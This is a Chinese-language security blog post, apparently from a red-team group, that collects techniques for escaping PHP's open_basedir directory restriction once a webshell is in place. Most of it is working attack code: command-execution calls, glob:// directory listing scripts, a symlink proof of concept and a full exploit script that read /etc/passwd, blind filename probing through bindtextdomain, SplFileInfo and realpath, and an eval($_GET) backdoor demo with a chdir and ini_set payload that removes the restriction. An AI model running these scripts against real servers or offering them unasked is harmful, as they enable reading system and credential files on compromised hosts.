前言
最近在学习php相关知识,想起有时拿到shell但无法访问指定目录。后某次机会在论坛上有位老哥指出如何bypass open_basedir,特此学习总结了一些bypass姿势。
open_basedir
open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
在php.ini
中设置open_basedir
的值
设置open_basedir=/var/www/html/
,通过web访问服务器的用户就无法获取服务器上除了/var/www/html/
这个目录以外的文件。
假设这时连接一个webshell,当webshell工具尝试遍历和读取其他目录时将会失败。
通过系统命令函数
open_basedir
对命令执行函数没有限,使用system()
函数试一下
能够遍历上上级目录,而在webshell工具中时被禁止的,说明确实能够绕过
实际情况中,可能system()
函数由于disable_function禁用无法使用,可通过同类执行命令函数绕过。
利用glob://绕过
glob://伪协议
glob://
是查找匹配的文件路径模式,glob
数据流包装器自 PHP 5.3.0 起开始有效。
下面是官方的一个domo
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
需要和其他函数配合,单独的glob是无法绕过的。
并且局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。
利用 DirectoryIterator+glob://
DirectoryIterator
类提供了一个简单的界面来查看文件系统目录的内容。
脚本如下:
<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
利用 opendir()+readdir()+glob://
opendir
作用为打开目录句柄
readdir
作用为从目录句柄中读取目录
脚本如下
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>
只能列目录,php7可以用如下方法读非根目录文件,glob:///*/www/../*
可列举 /var
利用 scandir()+glob://
scandir()
函数可以列出指定路径中的文件和目录
这种方法也只能列出根目录和open_basedir允许目录下的文件。
利用symlink绕过
symlink()
函数创建一个从指定名称连接的现存目标文件开始的符号连接。
symlink(string $target, string $link): bool
symlink()对于已有的 target 建立一个名为 link 的符号连接。
而target一般情况下受限于open_basedir。
官方的domo:
<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);
echo readlink($link);
# 将会输出'uploads.php'这个字符串
?>
如果将要读取/etc/passwd
poc如下
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","SD");
symlink("SD/../../../../etc/passwd","POC");
unlink("SD");
mkdir("SD");
?>
访问web后,将会生成名为POC的文件
分析一下poc过程:
- 创建A/B/C/D目录,并返回到起始目录
symlink("A/B/C/D","SD")
:创建符号文件SD,指向A/B/C/Dsymlink("SD/../../../../etc/passwd","POC")
:创建符号文件POC,指向SD/../../../../etc/passwd
。此时SD=A/B/C/D,而A/B/C/D../../../../
=/var/www/html
,符合open_basedir的限制,创建成功。- unlink("SD"):删除软链接SD,并创建一个文件夹,此时SD作为一个真正的目录存在。那么访问POC,指向的是
SD/../../../../etc/passwd
,SD/../../../
就是/var目录,/var/../etc/passwd
恰好可以读取到etc目录下的passwd,从而达到跨目录访问的效果。
这里需要跨几层目录就需要创建几层目录。
最后附上p牛EXP
<?php
/* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
利用bindtextdomain和SplFileInfo方法
bindtextdomain设置或获取域名的路径,函数原型为:
bindtextdomain(string $domain, ?string $directory): string|false
利用原理是基于报错:bindtextdomain()
函数的第二个参数$directory是一个文件路径,它会在$directory存在的时候返回$directory,不存在则返回false。
SplFileInfo
函数类似。
poc
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>
如果成功访问到存在的文件是会返回该文件路径:
而如果访问到不存在的文件就会返回false
这个方法感觉非常鸡肋,用起来比较恶心,最好与其他方法组合使用。
利用SplFileInfo::getRealPath()方法
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo类为单个文件的信息提供了一个高级的面向对象的接口。
而其中getRealPath()
用于获取文件的绝对路径。bypass原理同样是基于报错,该方法在获取文件路径的时候,如果存入一个不存在的路径时,会返回false,否则返回绝对路径,而且他还直接忽略了open_basedir的设定。
脚本如下
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'D:/CSGO/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<<');
$re = $info->getRealPath();
if ($re) {
echo $re."<br>";
}
}
利用realpath列目录
环境要求:Windows
realpath()返回规范化的绝对路径名,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。
realpath(string $path): string|false
bypass原理:
与上面说到的两种方式类似。在开启了open_basedir的情况下,如果我们传入一个不存在的文件名,会返回false,但是如果我们传入一个不在open_basedir里的文件的话,他就会返回file is not within the allowed path(s)
,有点像盲注,基于报错来判断文件名。
脚本入下:
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'D:/5E/5EClient/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
利用chdir与ini_set
chdir
将工作目录切换到指定的目录,函数原型为
chdir(string $directory): bool
ini_set
i用来设置php.ini的值,无需打开php.ini文件,就能修改配置。函数原型为:
ini_set(string $option, string $value): string|false
设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
bypass原理大概open_basedir设计逻辑的安全问题
分析过程参考:从PHP底层看open_basedir bypass
一个小demo,将该文件放到网站目录下:
<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>
构造payload
mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
open_basedir被设置成了'\',失去原有的限制。
Reference
浅谈几种Bypass open_basedir的方法
PHP bypass open_basedir
php5全版本绕过open_basedir读文件脚本
最后欢迎关注团队公众号:红队蓝军